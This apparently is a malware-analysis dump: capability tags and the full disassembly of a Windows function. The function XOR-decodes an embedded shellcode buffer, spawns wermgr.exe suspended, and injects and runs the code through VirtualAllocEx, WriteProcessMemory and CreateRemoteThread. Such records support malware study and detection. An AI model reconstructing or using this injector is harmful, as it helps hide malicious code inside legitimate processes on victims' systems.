Function at 0x2bd8515a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push rbp
push rdi
push rbx
mov eax, 0x43b60
call fcn.2bd852bd0
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x43abf]
mov qword [rbp + 0x43ac0], rax
nop
nop
lea rdx, [rbp + 0x43abf]
lea rax, [rbp + 0x43a90]
mov r8, rdx
lea rdx, str.EFZFEOVJ_eveovjzojF
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x43abf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x70]
lea rdx, [0x2bd855078]
mov ecx, 0x43a1a
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x43adc], 0
mov dword [rbp + 0x43ad8], 0
jmp 0x2bd85169f
mov eax, dword [rbp + 0x43adc]
movsxd rbx, eax
lea rax, [rbp + 0x43a90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::size___const
sub rax, 1
cmp rbx, rax
sete al
test al, al
je 0x2bd851659
mov dword [rbp + 0x43adc], 0
mov eax, dword [rbp + 0x43ad8]
cdqe
movzx ebx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x43adc]
movsxd rdx, eax
lea rax, [rbp + 0x43a90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator___unsigned_long_long_
movzx eax, byte [rax]
xor ebx, eax
mov edx, ebx
mov eax, dword [rbp + 0x43ad8]
cdqe
mov byte [rbp + rax + 0x70], dl
add dword [rbp + 0x43adc], 1
add dword [rbp + 0x43ad8], 1
mov eax, dword [rbp + 0x43ad8]
cdqe
cmp rax, 0x43a19
jbe 0x2bd851629
movabs rax, 0x652e72676d726577
mov qword [rbp + 0x65], rax
mov dword [rbp + 0x6c], 0x657865
mov qword [rbp + 0x58], 0
lea rax, [rbp + 0x58]
mov rcx, rax
call method.void_std.addressof_void__void_
mov qword [rbp + 0x43ad0], rax
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x30], 0x68
lea rax, [rbp + 0x40]
mov rcx, rax
call method._PROCESS_INFORMATION_std.addressof__PROCESS_INFORMATION___PROCESS_INFORMATION_
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call method._STARTUPINFOA_std.addressof__STARTUPINFOA___STARTUPINFOA_
mov rdx, rax
lea rax, [rbp + 0x65]
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rdx, qword [rbp + 0x48]
mov rax, qword [rbp + 0x43ad0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x43a1a
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x43ac8], rax
mov rax, qword [rbp + 0x58]
lea rcx, [rbp + 0x70]
mov rdx, qword [rbp + 0x43ac8]
mov qword [rsp + 0x20], 0
mov r9d, 0x43a1a
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x43ac8]
mov rax, qword [rbp + 0x40]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov rax, qword [rbp + 0x58]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
lea rax, str.Shellcode_injected_n
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, 0
lea rax, [rbp + 0x43a90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x2bd851897
add rsp, 0x43b60
pop rbx
pop rdi
pop rbp
ret